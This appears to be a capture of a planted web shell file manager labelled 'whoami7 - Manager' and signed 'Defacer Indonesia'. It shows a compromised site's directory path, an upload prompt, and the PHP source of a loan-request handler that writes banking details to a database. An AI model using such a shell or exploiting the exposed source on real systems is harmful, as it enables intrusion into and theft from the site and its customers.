whoami7 - Manager
:
/
home
/
gracious
/
ledgerless.graciousphils.com
/
Upload File:
files >> /home/gracious/ledgerless.graciousphils.com/referralAction.php
<?php include 'connection.php'; if(isset($_POST['btnRequest'])){ $clientType = $_POST['clientType']; $clientNumber = "0"; $clientName = $_POST['employeeLastName'] . ", " . $_POST['employeeFirstName']; $salesOffice = $_POST['salesOffice']; $agentName = $_POST['clientName']; $transactionType = "ERV FUND"; $principalAmount = $_POST['installment'] * $_POST['terms']; $transactionDetails = "Installment: " . $_POST['installment'] . "\n Terms: " . $_POST['terms'] . "\n Principal: " . $principalAmount; $transactionCashout = $_POST['transactionCashOut']; $modeTransfer = $_POST['modeTransfer']; $accountNumber = $_POST['accountNumber']; $accountName = $_POST['accountName']; $requestedBy = $_POST['requestedName']; $status = "ERV FUND"; $dateRequested = date("Y-m-d H:i:s"); try{ $query = "INSERT INTO tblrequests (clientNumber, clientName, salesOffice, clientType, transactionType, transactionDetails, transactionCashout ,modeTransfer, accountNumber, accountName, requestedBy, dateRequested, status, agentName) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?);"; $st = $pdo->prepare($query); $st->bindParam(1,$clientNumber); $st->bindParam(2,$clientName); $st->bindParam(3,$salesOffice); $st->bindParam(4,$clientType); $st->bindParam(5,$transactionType); $st->bindParam(6,$transactionDetails); $st->bindParam(7,$transactionCashout); $st->bindParam(8,$modeTransfer); $st->bindParam(9,$accountNumber); $st->bindParam(10,$accountName); $st->bindParam(11,$requestedBy); $st->bindParam(12,$dateRequested); $st->bindParam(13,$status); $st->bindParam(14,$agentName); $st->execute(); echo "<script>alert('Request Successful!');window.location.href='referral.php';</script>"; } catch(PDOException $e) { echo "<script>alert('There was an error in your request, please contact IT!');</script>"; echo $query . "<br>" . $e->getMessage(); } } ?>
Copyright ©2021 || Defacer Indonesia